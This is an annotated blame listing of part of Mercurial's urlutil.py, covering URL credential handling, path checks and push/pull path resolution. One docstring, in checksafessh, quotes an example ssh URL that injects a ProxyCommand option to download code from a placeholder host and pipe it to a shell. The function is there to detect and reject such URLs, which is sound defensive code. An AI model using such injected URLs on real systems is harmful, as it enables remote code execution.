Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
357
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
358 def authinfo(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
359 user, passwd = self.user, self.passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
360 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
361 self.user, self.passwd = None, None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
362 s = bytes(self)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
363 finally:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
364 self.user, self.passwd = user, passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
365 if not self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
366 return (s, None)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
367 # authinfo[1] is passed to urllib2 password manager, and its
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
368 # URIs must not contain credentials. The host is passed in the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
369 # URIs list because Python < 2.4.3 uses only that to search for
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
370 # a password.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
371 return (s, (None, (s, self.host), self.user, self.passwd or b''))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
372
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
373 def isabs(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
374 if self.scheme and self.scheme != b'file':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
375 return True # remote URL
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
376 if hasdriveletter(self.path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
377 return True # absolute for our purposes - can't be joined()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
378 if self.path.startswith(br'\\'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
379 return True # Windows UNC path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
380 if self.path.startswith(b'/'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
381 return True # POSIX-style
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
382 return False
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
383
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
384 def localpath(self) -> bytes:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
385 if self.scheme == b'file' or self.scheme == b'bundle':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
386 path = self.path or b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
387 # For Windows, we need to promote hosts containing drive
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
388 # letters to paths with drive letters.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
389 if hasdriveletter(self._hostport):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
390 path = self._hostport + b'/' + self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
391 elif (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
392 self.host is not None and self.path and not hasdriveletter(path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
393 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
394 path = b'/' + path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
395 return path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
396 return self._origpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
397
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
398 def islocal(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
399 '''whether localpath will return something that posixfile can open'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
400 return (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
401 not self.scheme
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
402 or self.scheme == b'file'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
403 or self.scheme == b'bundle'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
404 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
405
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
406
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
407 def hasscheme(path: bytes) -> bool:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
408 return bool(url(path).scheme) # cast to help pytype
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
409
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
410
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
411 def hasdriveletter(path: bytes) -> bool:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
413
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
414
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
415 def urllocalpath(path: bytes) -> bytes:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
416 return url(path, parsequery=False, parsefragment=False).localpath()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
417
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
418
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
419 def checksafessh(path: bytes) -> None:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
420 """check if a path / url is a potentially unsafe ssh exploit (SEC)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
421
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
422 This is a sanity check for ssh urls. ssh will parse the first item as
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
423 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
424 Let's prevent these potentially exploited urls entirely and warn the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
425 user.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
426
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
427 Raises an error.Abort when the url is unsafe.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
428 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
429 path = urlreq.unquote(path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
430 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
431 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
432 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
433 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
434
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
435
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
436 def hidepassword(u: bytes) -> bytes:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
437 '''hide user credential in a url string'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
438 u = url(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
439 if u.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
440 u.passwd = b'***'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
441 return bytes(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
442
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
443
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
444 def removeauth(u: bytes) -> bytes:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
445 '''remove all authentication information from a url string'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
446 u = url(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
447 u.user = u.passwd = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
448 return bytes(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
449
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
450
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
451 def list_paths(ui, target_path=None):
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
452 """list all the (name, paths) in the passed ui"""
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
453 result = []
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
454 if target_path is None:
48913
f254fc73d956 global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 48743
diff changeset
455 for name, paths in sorted(ui.paths.items()):
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
456 for p in paths:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
457 result.append((name, p))
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
458
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
459 else:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
460 for path in ui.paths.get(target_path, []):
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
461 result.append((target_path, path))
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
462 return result
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
463
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
464
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
465 def try_path(ui, url):
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
466 """try to build a path from a url
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
467
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
468 Return None if no Path could built.
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
469 """
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
470 try:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
471 # we pass the ui instance are warning might need to be issued
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
472 return path(ui, None, rawloc=url)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
473 except ValueError:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
474 return None
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
475
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
476
46909
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
477 def get_push_paths(repo, ui, dests):
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
478 """yields all the `path` selected as push destination by `dests`"""
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
479 if not dests:
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
480 if b'default-push' in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
481 for p in ui.paths[b'default-push']:
49697
1fae401b3b14 path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49696
diff changeset
482 yield p.get_push_variant()
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
483 elif b'default' in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
484 for p in ui.paths[b'default']:
49697
1fae401b3b14 path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49696
diff changeset
485 yield p.get_push_variant()
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
486 else:
46917
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
487 raise error.ConfigError(
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
488 _(b'default repository not configured!'),
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
489 hint=_(b"see 'hg help config.paths'"),
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
490 )
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
491 else:
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
492 for dest in dests:
47028
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
493 if dest in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
494 for p in ui.paths[dest]:
49697
1fae401b3b14 path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49696
diff changeset
495 yield p.get_push_variant()
47028
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
496 else:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
497 path = try_path(ui, dest)
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
498 if path is None:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
499 msg = _(b'repository %s does not exist')
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
500 msg %= dest
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
501 raise error.RepoError(msg)
49697
1fae401b3b14 path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49696
diff changeset
502 yield path.get_push_variant()
46909
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
503
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
504
48240
607e9322fc89 path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48239
diff changeset
505 def get_pull_paths(repo, ui, sources):
46910
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
506 """yields all the `(path, branch)` selected as pull source by `sources`"""
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
507 if not sources:
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
508 sources = [b'default']
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
509 for source in sources:
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
510 if source in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
511 for p in ui.paths[source]:
48240
607e9322fc89 path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48239
diff changeset
512 yield p
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
513 else:
48239
08630dd719f9 path: unify path creation in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48238
diff changeset
514 p = path(ui, None, source, validate_path=False)
48240
607e9322fc89 path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48239
diff changeset
515 yield p
46910
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
516
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
517
46940
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
518 def get_unique_push_path(action, repo, ui, dest=None):
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
519 """return a unique `path` or abort if multiple are found
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
520
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
521 This is useful for command and action that does not support multiple
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
522 destination (yet).
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
523
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
524 The `action` parameter will be used for the error message.
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
525 """
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
526 if dest is None:
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
527 dests = []
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
528 else:
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
529 dests = [dest]
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
530 dests = list(get_push_paths(repo, ui, dests))
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
531 if len(dests) != 1:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
532 if dest is None:
47411
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
533 msg = _(
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
534 b"default path points to %d urls while %s only supports one"
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
535 )
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
536 msg %= (len(dests), action)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
537 else:
47411
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
538 msg = _(b"path points to %d urls while %s only supports one: %s")
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
539 msg %= (len(dests), action, dest)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
540 raise error.Abort(msg)
